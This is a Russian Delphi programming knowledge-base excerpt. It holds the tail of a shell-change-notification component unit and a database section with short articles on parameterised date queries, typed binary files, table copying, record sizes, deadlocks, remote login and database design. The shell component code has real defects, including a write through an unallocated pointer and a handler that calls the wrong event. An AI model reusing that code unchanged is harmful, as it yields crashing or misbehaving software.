wEventMask : cardinal; uMsg: UINT; cItems : integer;
lpItems : PNOTIFYREGISTER) : HWND; stdcall;

function SHChangeNotifyDeregister(hWnd: HWND) : boolean; stdcall;

function SHILCreateFromPath(Path: Pointer; PIDL: PItemIDList;
var Attributes: ULONG):HResult; stdcall;

implementation

const Shell32DLL = 'shell32.dll';

function SHChangeNotifyRegister; external Shell32DLL index 2;
function SHChangeNotifyDeregister; external Shell32DLL index 4;
function SHILCreateFromPath; external Shell32DLL index 28;

{ TShellNotification }

constructor TShellNotification.Create(AOwner: TComponent);
begin
  inherited Create( AOwner );
  if not (csDesigning in ComponentState) then
    Handle := AllocateHWnd(WndProc);
end;

destructor TShellNotification.Destroy;
begin
  if not (csDesigning in ComponentState) then
    Active := False;
  if Handle <> 0 then
    DeallocateHWnd( Handle );
  inherited Destroy;
end;

procedure TShellNotification.DoAssociationChange;
begin
  if Assigned( fOnAssociationChange ) and
  (neAssociationChange in fWatchEvents) then
    fOnAssociationChange( Self );
end;

procedure TShellNotification.DoAttributesChange;
begin
  if Assigned( fOnAttribChange ) then
    fOnAttribChange( Self, Path1, Path2 );
end;

procedure TShellNotification.DoCreateFile(Path: string);
begin
  if Assigned( fOnCreate ) then
    FOnCreate(Self, Path)
end;

procedure TShellNotification.DoDeleteFile(Path: string);
begin
  if Assigned( FOnDelete ) then
    FOnDelete(Self, Path);
end;

procedure TShellNotification.DoDirCreate(Path: string);
begin
  if Assigned( FOnDirCreate ) then
    FOnDirCreate( Self, Path );
end;

procedure TShellNotification.DoDirUpdate(Path: string);
begin
  if Assigned( FOnFolderUpdate ) then
    FOnFolderUpdate(Self, Path);
end;

procedure TShellNotification.DoDriveAdd(Path: string);
begin
  if Assigned( FOnDriveAdd ) then
    FOnDriveAdd(Self, Path);
end;

procedure TShellNotification.DoDriveAddGui(Path: string);
begin
  if Assigned( FOnDriveAddGui ) then
    FOnDriveAdd(Self, Path);
end;

procedure TShellNotification.DoDriveRemove(Path: string);
begin
  if Assigned( FOnDriveRemove ) then
    FOnDriveRemove(Self, Path);
end;

procedure TShellNotification.DoFolderRemove(Path: string);
begin
  if Assigned(FOnFolderRemove) then
    FOnFolderRemove( Self, Path );
end;

procedure TShellNotification.DoMediaInsert(Path: string);
begin
  if Assigned( FOnMediaInsert ) then
    FOnMediaInsert(Self, Path);
end;

procedure TShellNotification.DoMediaRemove(Path: string);
begin
  if Assigned(FOnMediaRemove) then
    FOnMediaRemove(Self, Path);
end;

procedure TShellNotification.DoNetShare(Path: string);
begin
  if Assigned(FOnNetShare) then
    FOnNetShare(Self, Path);
end;

procedure TShellNotification.DoNetUnShare(Path: string);
begin
  if Assigned(FOnNetUnShare) then
    FOnNetUnShare(Self, Path);
end;

procedure TShellNotification.DoRenameFolder(Path1, Path2: string);
begin
  if Assigned( FOnRenameFolder ) then
    FOnRenameFolder(Self, Path1, Path2);
end;

procedure TShellNotification.DoRenameItem(Path1, Path2: string);
begin
  if Assigned( FOnItemRename ) then
    FonItemRename(Self, Path1, Path2);
end;

procedure TShellNotification.DoServerDisconnect(Path: string);
begin
  if Assigned( FOnServerDisconnect ) then
    FOnServerDisconnect(Self, Path);
end;

function TShellNotification.GetActive: Boolean;
begin
  Result := (NotifyHandle <> 0) and (fActive);
end;

function TShellNotification.PathFromPidl(Pidl: PItemIDList): string;
begin
  SetLength(Result, Max_Path);
  if not SHGetPathFromIDList(Pidl, PChar(Result)) then
    Result := '';
  if pos(#0, Result) > 0 then
    SetLength(Result, pos(#0, Result));
end;

procedure TShellNotification.SetActive(const Value: Boolean);
begin
  if (Value <> fActive) then
  begin
    fActive := Value;
    if fActive then
      ShellNotifyRegister
    else
      ShellNotifyUnregister;
  end;
end;

procedure TShellNotification.SetPath(const Value: string);
begin
  if fPath <> Value then
  begin
    fPath := Value;
    ShellNotifyRegister;
  end;
end;

procedure TShellNotification.SetWatch(const Value: Boolean);
begin
  if fWatch <> Value then
  begin
    fWatch := Value;
    ShellNotifyRegister;
  end;
end;

procedure TShellNotification.SetWatchEvents(
const Value: TNotificationEvents);
begin
  if fWatchEvents <> Value then
  begin
    fWatchEvents := Value;
    ShellNotifyRegister;
  end;
end;

procedure TShellNotification.ShellNotifyRegister;
var
  NotifyRecord: PNOTIFYREGISTER;
  Flags: DWORD;
  Pidl: PItemIDList;
  Attributes: ULONG;
begin
  if not (csDesigning in ComponentState) and
  not (csLoading in ComponentState) then
  begin
    SHILCreatefromPath( PChar(fPath), Addr(Pidl), Attributes);
    NotifyRecord^.pidlPath := Pidl;
    NotifyRecord^.bWatchSubtree := fWatch;

    if NotifyHandle <> 0 then
      ShellNotifyUnregister;
    Flags := 0;
    if neAssociationChange in FWatchEvents then
      Flags := Flags or SHCNE_ASSOCCHANGED;
    if neAttributesChange in FWatchEvents then
      Flags := Flags or SHCNE_ATTRIBUTES;
    if neFileChange in FWatchEvents then
      Flags := Flags or SHCNE_UPDATEITEM;
    if neFileCreate in FWatchEvents then
      Flags := Flags or SHCNE_CREATE;
    if neFileDelete in FWatchEvents then
      Flags := Flags or SHCNE_DELETE;
    if neFileRename in FWatchEvents then
      Flags := Flags or SHCNE_RENAMEITEM;
    if neDriveAdd in FWatchEvents then
      Flags := Flags or SHCNE_DRIVEADD;
    if neDriveRemove in FWatchEvents then
      Flags := Flags or SHCNE_DRIVEREMOVED;
    if neShellDriveAdd in FWatchEvents then
      Flags := Flags or SHCNE_DRIVEADDGUI;
    if neDriveSpaceChange in FWatchEvents then
      Flags := Flags or SHCNE_FREESPACE;
    if neMediaInsert in FWatchEvents then
      Flags := Flags or SHCNE_MEDIAINSERTED;
    if neMediaRemove in FWatchEvents then
      Flags := Flags or SHCNE_MEDIAREMOVED;
    if neFolderCreate in FWatchEvents then
      Flags := Flags or SHCNE_MKDIR;
    if neFolderDelete in FWatchEvents then
      Flags := Flags or SHCNE_RMDIR;
    if neFolderRename in FWatchEvents then
      Flags := Flags or SHCNE_RENAMEFOLDER;
    if neFolderUpdate in FWatchEvents then
      Flags := Flags or SHCNE_UPDATEDIR;
    if neNetShare in FWatchEvents then
      Flags := Flags or SHCNE_NETSHARE;
    if neNetUnShare in FWatchEvents then
      Flags := Flags or SHCNE_NETUNSHARE;
    if neServerDisconnect in FWatchEvents then
      Flags := Flags or SHCNE_SERVERDISCONNECT;
    if neImageListChange in FWatchEvents then
      Flags := Flags or SHCNE_UPDATEIMAGE;
    NotifyHandle := SHChangeNotifyRegister(Handle,
    SHCNF_ACCEPT_INTERRUPTS or SHCNF_ACCEPT_NON_INTERRUPTS,
    Flags, SNM_SHELLNOTIFICATION, 1, NotifyRecord);
  end;
end;

procedure TShellNotification.ShellNotifyUnregister;
begin
  if NotifyHandle <> 0 then
    SHChangeNotifyDeregister(NotifyHandle);
end;

procedure TShellNotification.WndProc(var message: TMessage);
type
  TPIDLLIST = record
  pidlist : array[1..2] of PITEMIDLIST;
end;
PIDARRAY = ^TPIDLLIST;
var
  Path1 : string;
  Path2 : string;
  ptr : PIDARRAY;
  repeated : boolean;
  event : longint;
begin
  case message.Msg of
    SNM_SHELLNOTIFICATION:
    begin
      event := message.LParam and ($7FFFFFFF);
      Ptr := PIDARRAY(message.WParam);

      Path1 := PathFromPidl( Ptr^.pidlist[1] );
      Path2 := PathFromPidl( Ptr^.pidList[2] );

      repeated := (PrevEvent = event)
      and (uppercase(prevpath1) = uppercase(Path1))
      and (uppercase(prevpath2) = uppercase(Path2));

      if Repeated then
        exit;

      PrevEvent := message.Msg;
      prevPath1 := Path1;
      prevPath2 := Path2;

      case event of
        SHCNE_ASSOCCHANGED : DoAssociationChange;
        SHCNE_ATTRIBUTES : DoAttributesChange( Path1, Path2);
        SHCNE_CREATE : DoCreateFile(Path1);
        SHCNE_DELETE : DoDeleteFile(Path1);
        SHCNE_DRIVEADD : DoDriveAdd(Path1);
        SHCNE_DRIVEADDGUI : DoDriveAddGui(path1);
        SHCNE_DRIVEREMOVED : DoDriveRemove(Path1);
        SHCNE_MEDIAINSERTED : DoMediaInsert(Path1);
        SHCNE_MEDIAREMOVED : DoMediaRemove(Path1);
        SHCNE_MKDIR : DoDirCreate(Path1);
        SHCNE_NETSHARE : DoNetShare(Path1);
        SHCNE_NETUNSHARE : DoNetUnShare(Path1);
        SHCNE_RENAMEFOLDER : DoRenameFolder(Path1, Path2);
        SHCNE_RENAMEITEM : DoRenameItem(Path1, Path2);
        SHCNE_RMDIR : DoFolderRemove(Path1);
        SHCNE_SERVERDISCONNECT : DoServerDisconnect(Path);
        SHCNE_UPDATEDIR : DoDirUpdate(Path);
        SHCNE_UPDATEIMAGE : ;
        SHCNE_UPDATEITEM : ;
      end;
    end;
  end;
end;

end.

Автор: maniac_n@hotmail.com

Взято с http://delphiworld.narod.ru


Базы данных

Cодержание раздела:

Общие вопросы
· Как работать с полями типа DateTime?
· Моя собственная база данных
· Быстрое копирование таблиц
· Как найти размер записи?
· Avoiding server side locking (including DEADLOCK)
· Как перекинуть все данные из одной базы данных в другую?
· Как передать UserName и Password в удаленный модуль данных
· Проектирование баз данных (статья)
· Защита данных
· Нужна база данных, работающая без каких-либо драйверов, Без ODBC/BDE/ADO/DAO etc

Базы данных с нуля (статья)

Проблемы при работе с Blob полями
· Как записать файл в Blob поле?
· Как удалить данные из BLOB-поля?
· Как в TBlobField запихать картинку из переменной типа TBitmap?
· Как сохранить RTF в TBlobfield?
· Как определить реальный размер поля типа BLOB, которое сохранено в таблице?
· Извлечение изображения из BLOB-поля
· Загрузка изображений в Blob-поля
· Запись потока в BLOB-поле
· Запись и чтение чисел в Blob-поле
· BLOBFIELD как BITMAP
· Чтение OLE из Blob поля Paradox
· Сохранение и чтение файлов в BLOB-полях
· Сохранение TForm и ее свойств в BLOB-поле
· Связать поле BLOB таблицы Paradox с компонентом TRichEdit через потоки
· Как записать в BLOB поле большой текст (более 255) из Delphi
· Сохранить в базе картинку формата JPEG
· Приёмы работы с BLOB (OLE/Memo) полями
· Сохранить F1Book в Blob поле New!
· Извлечение текста из TMemoField New!

Работа через BDE
· Установка BDE (раздел)
· Настройка BDE, Database Desktop (раздел)
· Справочные материалы по BDE (раздел)
· Работа с Alias (раздел)
· Поддержка пользователей, защита (раздел)
· Непосредственное обращение к BDE (раздел)
· Работа с базами данных (раздел)
· Работа с TTable, TQuery и TDatabase (раздел)
· Объяснения некоторых ошибок при работе с базами данных (раздел)
· Работа с таблицами (раздел)
· Работа с BDE в сети, общий доступ к данным (раздел)
· Работа с полями (раздел)
· Работа с индексами (раздел)
· Работа с запросами SQL в BDE (раздел)
· Разные вопросы (раздел)

Работа через ADO
· Как работать с ADO компонентами в DLL?
· Из Paradox в Access при помощи ADO
· Курсоры в ADO
· Поиск в базе данных
· Экспорт ADO таблиц в разные форматы
· Экспорт из TDBGrid в Excel без OLE
· Как узнать версию ADO?
· Как сделать ADO-connection?
· ADO+Delphi5: постоянные ошибки BOF... или EOF...
· Передача параметров ADO запросу
· Как работать из Delphi напрямую с ADO?
· Запись картинки в ADO таблицу
· Быстрый доступ к ADO
· Access Violation при передаче неполного параметра

Работа через ODBC
· Как создать новый DSN из программы?
· ODBC соединения
· Установка ODBC
· Конфигурирование ODBC
· Конфигурирование ODBC и псевдонима
· Получение дескриптора ODBC соединения
· Получаем имена ODBC-источников
· Добавление ODBC-драйверов в Delphi

Работа с DBExpress
· Развертывание приложения, использующего dbExpress
· Создание DBExpress-Connection в Run-Time

Многомерное представление данных (статья) New!

Частные вопросы по конкретным базам данных
· Работа с DBase (раздел)
· Работа с Oracle (раздел)
· Работа с MS Access (раздел)
· Работа с MS SQL Server (раздел)
· Работа с Interbase (раздел)
· Работа с Foxpro (раздел)
· Работа с MySQL (раздел)
· Работа с Paradox (раздел)
· Работа с ASCII файлами, CSV файлы (раздел)
· Работа с Clipper (раздел)
· Работа с DB/2 (раздел)
· Работа с SyBase (раздел)

Работа с визуальными компонентами
· Как выделить кнопку в DBNavigator программно?
· Подмена данных в визуальных DB компонентах
· DBGrid (раздел)

Работа с SQL
· Генератор SQL-запросов Insert/Update
· SQL-запросы в Delphi
· Как создать таблицу через SQL?
· Локальные операторы языка SQL (BDE)
· Синтах SQL-функции Substring
· Как получить результирующим полем разницу между хранимой датой и текущей датой

XML
· Конвертировать INI файл в XML
· Конвертировать результат запроса в XML и обратно
· Конвертировать таблицу в XML
· Создание DTD для объекта (XML)
· TClientDataSet. Некорректное формирование XML
· TClientDataSet. Утечка памяти при загрузке XML


Общие вопросы

Cодержание раздела:

Как работать с полями типа DateTime?
Моя собственная база данных
Быстрое копирование таблиц
Как найти размер записи?
Avoiding server side locking (including DEADLOCK)
Как перекинуть все данные из одной базы данных в другую?
Как передать UserName и Password в удаленный модуль данных
Проектирование баз данных (статья)
Защита данных
Нужна база данных, работающая без каких-либо драйверов, Без ODBC/BDE/ADO/DAO etc
БД - хранилище объектов (статья) New!
Создание базы данных в run-time с ZEOS? New!
Переходим на клиент-сервер (советы), на примере MS SQL Server New!
Запросы и параметры, или как избавится от многих проблем…. New!
Критерии выбора базы данных (статья)


Как работать с полями типа DateTime?

Query1.sql.text:='Select * From TableName Where (Date>:D1) and (Date<:D2)';
Query1.params.parsSql(Query1.sql.text, true);
Query1.params.parambyname('d1').value:=Stringtodatetime('09.10.2002');
Query1.params.parambyname('d2').value:=Stringtodatetime('09.11.2002');
Query1.active:=true;

Возможно применение следующей квери:

SELECT Date
from TableName
where beetwen '01/01/2002' and '31/01/2002'

В этом коде 2 неточности, которые могут стать потенциальными ошибками, именно по этому я рекомендую использовать код с параметрами. Итак:

1) Не все SQL сервера понимают строки как нечто в одинарных кавычках, некоторые требуют двойных кавычек, некоторые сервера могут быть настроены на одинарные ил двойные кавычки. Если дату передавать как параметер, то конечную кверю будет строить сам сервер, и он поставит те кавычки, которые нужны.

2) Где гарантия что формат даты одинаковый на компьютере с программой и компьютере с базой данных? У меня может стоять на клиенте русская винда с русскими настройками и '2/9/2002' будет интерпретироваться как "2 сентября", а на компьютере с базой данных стоит регионарный стандарт для Америки и эта же дата будет означать "9 февраля". (Про разделители полей даты я уже молчу). В этом случае так же параметры работают корректнее - серверу передаётся дата, а он делает кверю в соответствии со своими регионарными стандартами.

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Моя собственная база данных

Моя собственная база данных
( Перевод одноимённой статьи с сайта delphi.about.com )

В статье рассматривается работа с бинарными файлами из Delphi, а так же использование Object Pascal для управления записью, чтением и изменением собственных типов файлов.

Постановка задачи: Допустим, мне нужно в приложении Delphi сохранять некоторую информацию на диск. Мне не охото работать с текстовыми файлами, так как просмотр и обновление информации в них довольно муторное занятие. Преобладать будут операции записи и чтения, в то время как операции изменения и апдейта будут присутствовать в меньшей степени. Вся информация будет хранится в переопределённом типе данных Pascal Record. Итак, какой подход мне лучше всего использовать?

BDE плюс Paradox или Access, ... спасибо, не надо...Не хотелось бы испытывать мороку с BDE. Использовать текстовые файлы ASCII ? Не пойдёт. Нужна хоть какая-то минимальная защита, а текстовые файлы "полностью видимы". Оказывается, ответ на данный вопрос кроется в Delphi, а именно в непечатных файлах (или файлы некоторых типов/бинарные файлы).

Файлы
В Delphi существует три класса файлов: typed, text, и untyped. Файлы typed - это файлы, которые содержат данные определённого типа, такие как Double, Integer или предварительно определённый тип Record. Текстовые файлы содержат читаемые символы ASCII. Файлы Untyped используются в том случае, если мы хотим работать с файлом через определённую структуру.

Файлы Typed
В отличие от тектовых файлов, которые содержат строки, завершающиеся комбинацией CR/LF, файлы typed содержат данные, взятые из определённой структуры данных.

Например, следующее объявление создаёт запись с именем TMember и массив переменных типа TMember, который мы будем использовать для хранения нашей информации.

type
  TMember = record
    Name : string[50];
    eMail : string[30];
    Posts : LongInt;
  end;

 var Members : array[1..50] of TMember;

Перед тем, как мы сможем записать информацию на диск, нам необходимо объявить переменную типа file. Следующая строка объявляет переменную файла F:

 var F : file of TMember;

Обратите внимание: Чтобы создать файл typed в Delphi, мы используем следующий синтакс:
var SomeTypedFile : file of SomeType
Базовый тип (SomeType) для файла может быть скалярным (наподобие Double), массивом или записью. Он не может быть длинной строкой, динамическим массивом, классом, объектом или указателем.

Чтобы начать работать с файлом из Delphi нам надо связать файл на диске с переменной файла в нашей программе. Для этого используем процедуру AssignFile.

 AssignFile(F, 'Members.dat')

Как только связь с внешним файлом установлена, переменную F необходимо 'открыть' для подготовки её к чтению или записи. Для открытия существующего файла мы используем процедуру Reset либо Rewrite для создания нового файла. После того, как программа закончит обработку файла, его необходимо закрыть при помощи процедуры CloseFile. Сразу после закрытия файла, связанный с ним внешний файл будет обновлён. Затем переменную файла можно связать с другим внешним файлом. Вообще, мы должны всегда производить обработку исключительных ситуаций, так как при работе с файлами может происходить довольно много ошибок. Например, если мы вызовем CloseFile для файла, который уже закрыт, то Delphi выдаст ошибку I/O. С другой стороны, если мы попробуем закрыть файл, до вызова AssignFile, то результаты могут быть непредсказуемыми.

Запись
Предположим, что у нас есть массив, заполненный именами, e-мейлами и т.д., и мы хотим сохранить эту информацию на диск. Делается это следующим образом:

 var F : file of TMember;
begin
 AssignFile(F,'members.dat');
 Rewrite(F);
 try
  for i:= 1 to 50 do
   Write (F, Members[i]);
 finally
  CloseFile(F);
 end;
end;

Чтение
Для получения всей информации из файла 'members.dat' используется следующий код:

 var Member: TMember
     F : file of TMember;
begin
 AssignFile(F,'members.dat');
 Reset(F);
 try
  while not Eof(F) do begin
   Read (F, Member);
 {  Что-нибудь делаем с данными; }
  end;
 finally
  CloseFile(F);
 end;
end;

Обратите внимание: Eof это функция проверки конца файла (EndOfFile). Мы используем эту функцию, чтобы не выйти за пределы файла (за пределы последней, сохранённой записи).

Поиск и позиционирование
Обычно, доступ к файлам осуществляется последовательно. При чтении из файла (используя стандартную процедуру Read) или при записи (используя стандартную процедуру Write), текущая позиция в файле перемещается на следующий по порядку компонент (следующая запись). К файлам typed так же можно обращаться через стандартную процедуру Seek, которая перемещает текущую позицию в файле на указанный компонент. Для определения текущей позиции в файле и размера файла можно использовать функции FilePos и FileSize.

{устанавливаем на начало -  на первую запись}
Seek(F, 0);

{устанавливаем на 5-ю запись}
Seek(F, 5);

{Переходим в конец - "после" последней записи}
Seek(F, FileSize(F));

Изменение и обновление
Мы разобрались как записывать и считывать из файла массив Members. А что, если нам нужно найти десятую запись и изменить в ней e-mail? Давайте посмотрим на процедуру, которая делает это:

procedure ChangeEMail
  (const RecN : integer; const NewEMail : string);
var DummyMember : TMember;
begin
 {связывание, открытие, блок обработки исключений}
 Seek(F, RecN);
 Read(F, DummyMember);
 DummyMember.Email := NewEMail;
 {чтение перемещается на следующую запись, для этого необходимо
 вернуться на первоначальную запись, а затем записать}
 Seek(F, RecN);
 Write(F, DummyMember);
 {закрываем файл}
end;

Всё готово
Итак, теперь мы имеем всё, что нам нужно для реализации нашей задачи. Мы можем записать информацию на диск, считать её, и даже изменить некоторые данные (например, e-mail) в "середине" файла.

Взято из http://forum.sources.ru


Быстрое копирование таблиц

Из книги Стива Тейксейра и Пачеко 'Delphi 4. Руководство разработчика'
я взял функцию для быстрого копирования
таблиц вместе со всеми дополнительными файлами:
Вот она:

procedure QuickCopyTable(T: TTable;DestTblName:string;Overwrite: boolean);
// только для не SQL-ых, т.е не промышленных  БД (dBase, Paradox ..)
var DBType: DBIName;
   WasOpen:boolean;
   NumCopied:word;
begin
 WasOpen:=T.Active;
 if not WasOpen then T.Open;
 Check(DbiGetProp(hDBIObj(T.Handle),drvDRIVERTYPE,@DBType,SizeOf(DBINAME),
    NumCopied));
 Check(DbiCopyTable(T.DBHandle, Overwrite, PChar(T.TableName),DBType, PChar(DestTblName)));
 T.Active:=WasOpen;
end;

Взято с сайта http://blackman.wp-club.net/


Как найти размер записи?

procedure TMainFrm.CalculateRecordSizeClick(Sender: TObject);
var
  MaxRecs, RecSize, RecsPerBlock, FreeSpace: Longint;
  i: Integer;
begin
  RecSize := 0;
  with StrucGrid do
  begin
    for i := 0 to pred(RowCount) do
    begin
      case Cells[1, i][1] of
        'A': RecSize := RecSize + StrToInt(Cells[2, i]);
        'D', 'T', 'I', '+': RecSize := RecSize + 4;
        'N', '$', 'Y', '@': RecSize := RecSize + 8;
        'M', 'B', 'F', 'O', 'G': RecSize := RecSize + 10 + StrToInt(Cells[2, i]);
        'S': RecSize := RecSize + 2;
        'L': RecSize := RecSize + 1;
      end;
    end;
  end;
  RecsPerBlock := (SpinEdit2.Value - 6) div RecSize;
  FreeSpace := (SpinEdit2.Value - 6) - (RecSize * RecsPerBlock);
  MaxRecs := 65536 * RecsPerBlock;
  ShowMessage('Record Size is: ' + IntToStr(RecSize) + ' bytes' + #13#10
    + 'Records per Block: ' + IntToStr(RecsPerBlock) + #13#10
    + 'Unused Space per Block: ' + IntToStr(FreeSpace) + ' bytes' + #13#10
    + 'Max No of Records in Table: ' + FormatFloat('###############,', MaxRecs));
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Avoiding server side locking (including DEADLOCK)

What can I do to help avoid server side locking (including DEADLOCK)
problems when working with Microsoft SQL Server (DBLIB) and Sybase
SQL Server (DBLIB)?

The following suggestions may help you tune your application and
server. The server side suggestions may not apply to all server
and database installations.

From the client application you may want to take greater control
over the size of results sets (this may mean using TQueries),
minimize the length of transactions (usually not an issue if the
SQLPASSTHRU MODE is set to ...AUTOCOMMIT), and only open dbaware
controls when necessary to help minimize resource drain on the
server and, possibly in this case, deadlock potential.

The means by which the BDE selects data from each of the supported
servers does not make assumptions about how each server chooses
to ensure data integrity.

Delphi/BDE suggestions:

Work with smaller result sets (TQueries, server views, etc.)
also see above form more info.
Check the SQL Links MSSQL Driver "TDS Packet Size" param
making sure that it is set to, at least, 4096.
Minimize the length of transactions.
Investigate creating appropriate indexes.
Filter results before opening a dataset or use tqueries
(live or otherwise) to limit the number of rows selected.
Investigate using the BDE SQL PASSTHRU MODE parameter
"NOT SHARED" (please see BDEADMIN.HLP and BDE32.HLP for
addtional information on the SQL PASSTHRU MODE parameter)

Please note:
BDE/SQL Links 4.01 will not only detect and raise a deadlock
error but it will "reset" its database transaction state when
it detects an MSSQL error 1205. It is not necessary to rollback
the explicit transaction (Database1.rollback) after the
deadlock has been detected.

The error 1205 signals to the client that the server has
"resolved" a deadlock and chosen one of the users to end the
deadlock. This user's transaction is automatically rolled back.
Please refer to the MS SQL Server documentation for more
information on deadlock detection and server error 1205.

MS SQL and Sybase Server topics: (the following is by no means a
comprehensive list. Please check your Sybase and MS SQL Server
docs for tips on optimizing your server and databases)

Create indexes on the remote tables where possible (the
server may require more locks for unindexed tables.)
TEXT and IMAGE columns can take up more pages (columns
can be omitted from a SELECT statement if working with TQueries
whose REQUEST LIVE property is false)
page sizes on the server can be adjusted to better match
expected row sizes (this can help prevent the server from locking
adjacent rows.)
The server will create a table lock if the LOCK ESCALATION
level is reached (part of sp_configure)

Please also see:
MS SQl Server documentation (printed or Books Online)
If using TQueries:
TABLOCKX
UPDLOCK

For more information on the options above:
Analyzing locks Topic
(also see Database Developer's Companion Errata)


Как перекинуть все данные из одной базы данных в другую?

Есть такая утилита, к делфям в комплекте идет. DataPump называется. Перекинет тебе все, что надо, индексы создаст.

Взято с http://delphiworld.narod.ru


Как передать UserName и Password в удаленный модуль данных?

В Удаленный Модуль Данных бросьте компонент TDatabase, затем добавьте процедуру автоматизации (пункт главного меню Edit | Add To Interface) для Login.

Убедитесь, что свойство HandleShared компонента TDatabase установлено в True.

procedure Login(UserName, Password: WideString);
begin
  { DB = TDatabase }
  { Something unique between clients }
  DB.DatabaseName := UserName + 'DB';
  DB.Params.Values['USER NAME'] := UserName;
  DB.Params.Values['PASSWORD'] := Password;
  DB.Open;
end;

После того, как Вы создали этот метод автоматизации, Вы можете вызывать его с помощью:

RemoteServer1.AppServer.Login('USERNAME','PASSWORD');

Взято с http://delphiworld.narod.ru


Проектирование баз данных (статья)

Цель данного доклада - оценить сегодняшние проблемы и тенденции развития технологий проектирования БД, а также, хотя бы отчасти - требования завтрашнего дня. Доклад может сыграть еще одну роль: задать набор актуальных требований, которые будут служить координатами для позиционирования конкретных частных методов и инструментов проектирования БД (отчасти также - средств их использования и управления ими), которые представляются в двух специальных секциях данной конференции.

Интегрированная база данных - констатация идеи

Широко известные методы проектирования баз данных (БД) появились в процессе разработки все более сложных Информационных Систем (ИС), которые должны были рассматривать потребности не одного пользователя, но больших групп и коллективов. Одна такая интегрированная БД создавалась для решения многих задач, каждая из которых использовала только "свою" часть данных, обычно, пересекающуюся с частями, используемыми в других задачах. Поэтому главнейшими методами проектирования стали методы исключения избыточности в данных. Эти методы связывались с другими средствами обеспечения логической целостности данных.

Было сформулировано принципиальное требование отделения программ от интегрированных данных. Этот принцип направлен на отчуждение данных в качестве ресурса предприятия, важен также тем, что консервативные по характеру данные отделялись от прикладных программ, которые могли часто подвергаться изменениям.

Другой важной проблемой проектирования БД явилось обеспечение нужных эксплуатационных параметров, таких как объем внешней памяти или время выполнения различных операций. Известны и другие требования. Например, информация не должна потеряться не только из-за отказов оборудования, но и вследствие ошибки пользователя. Это отличается от того положения, при котором тот, кто решает некую задачу, сам и отвечает за сохранность данных для этой задачи.

Сформировалось понимание интегрированной БД как общего информационного ресурса предприятия. Хранимые данные стали аналогичны большому компьютеру, который одновременно используется многими пользователями с различными целями и должен быть все время работоспособен.

За идеей - классическая методология проектирования

Классическая методология проектирования БД - это мощное и красивое течение со своей философией, способами восприятия реальности и способами существования в ней. В этом течении возникла своя прикладная математика, свое понятие "Мира", "Предметной Области" (ПрО) и их моделей. В отношении проектирования БД осознаны и интегрированы в стройные схемы методы выполнения таких проектных этапов:

сбор сведений о ПрО (анализ потребностей и описание ПрО с использованием так называемых "процессного" или UP, "usage perspective" подхода и "непроцессного" или ISP, "information structure perspective" подхода);
выбор языка представления т.н. "семантической" модели для фиксации сведений о ПрО, их последующего анализа и синтеза модели БД;
анализ собранных сведений о ПрО: классификация, формализация и интеграция структурных элементов описания ПрО, формализация как структурных, так и процедурных ограничений целостности элементов в будущей модели ПрО, определение динамики экземпляров объектов ПрО;
синтез концептуальной модели БД: проектирование целостной концептуальной схемы БД на выбранном языке семантического моделирования;
выбор конкретной модели данных и СУБД для реализации БД;
проектирование логической схемы БД для выбранной СУБД (называющееся также "проектирование реализации");
разработка физической структуры БД ("физической" или "внутренней" схемы, она же - "схема размещения"), включая размещение БД по узлам;
разработка технологии и процедур начального создания и заполнения БД;
разработка технологии и процедур сопровождения БД;
разработка универсальных программ доступа к БД и соответствующих интерфейсов пользователей;
информационное обеспечение разработки конкретных программ обработки данных: обеспечение метаинформацией, данными контрольных примеров и др.;
получение обратной связи от разработчиков прикладных программ и пользователей Информационной Системы (ИС) о полноте и эффективности организации БД;
тестирование БД, ее развитие и улучшение (настройка) ее структуры.
Есть все основания называть методологию классической: для указанных методов разработаны полные, целостные методические системы, для большинства методов предложены формализованные модели, эти модели - или, по крайней мере, их итоговые выразительные возможности - нашли реальное применение в практике проектирования. Один только перечень основных моделей данных и их авторов производит внушительное впечатление, см. их обзор, например, в [Цикридзис85].

Использовалась дисциплина т.н. структурного анализа при проектном подходе "сверху вниз". Структурность связывается с использованием иерархических структур для детализации данных и функций, и соответствующих достаточно "жестких" проектных процедур. Проектная схема получила название "каскадной". Она хорошо согласована с аналогичной схемой проектирования ПО - программного обеспечения.

За методологией - мастерская инструментов проектирования БД

Проектирование комплексной по предметной направленности, интегрированной и, обычно, большой по размеру БД стало сложной задачей. Наличие целостной методологии проектирования позволило позаботиться о "сапожнике-проектировщике" и начать шить ему сапоги в виде систем автоматизации проектирования БД. Этому способствовало наличие технологического опыта в организации и компьютерной поддержке систем разработки программного обеспечения и, с другой стороны, использование активных интегрированных словарей-справочников данных (DD/D, Data Dictionary/Directory). Так возникли системы CASE (Computer Aided System Engineering) - системы для структурного проектирования БД и связанных с ними ИС, ориентированные на модели данных, реализованные в различных СУБД. Наибольшую популярность получили CASE-системы для реляционных СУБД с SQL-моделями данных, а DD/D переименовался в CASE-репозиторий проектируемой ИС.

На этом пути возникло два основных направления развития CASE-систем и технологий проектирования: CASE-системы для проектирования собственно БД (или т. н. Upper-CASE) и интегрированные инструменты, позволяющие и проектировать БД, и разрабатывать использующие их прикладные программы. Важно отметить, что и Upper-CASE в общем случае имеют много средств для описания функций обработки информации (при использовании процессного подхода к сбору и анализу сведений о ПрО) и хранения этих описаний в репозитории. Это подтверждает положение о сильной связи проекта БД и проекта ИС, базирующейся на этой БД. Вместе с тем, эта связь не абсолютна, и принцип отделения БД от программ сохраняется.

Часто интегрированность функций приводит к сильному сращиванию CASE-системы с одной СУБД, на которую ориентированы CASE-средства разработки прикладных программ. Такое сращивание имеет несколько проявлений, например, CASE-репозиторий поддерживается средствами "родной", но единственной СУБД, генерация прикладных программ производится "родными" инструментами разработки этой же СУБД, но только ими. Для таких интегрированных CASE-систем отображение концептуальной модели БД в логическую схему часто делается также только для предопределенной СУБД.

Последний факт связан с еще одной задачей, которая может ставиться при проектировании БД: проектирование переносимой БД, которая может быть реализована на платформах разных типов компьютеров, операционных систем, СУБД и даже моделей данных, и, при необходимости, переноситься с одной платформы на другую.

С учетом сказанного, классическая Мастерская проектировщика БД включает совокупность классических структурных методов проектирования, набор соответствующих инструментов моделирования, реализации, загрузки и сопровождения БД, а также "каскадную" организационную схему выполнения этих работ по принципу "сверху вниз".

Особо - о временных характеристиках и транзакциях

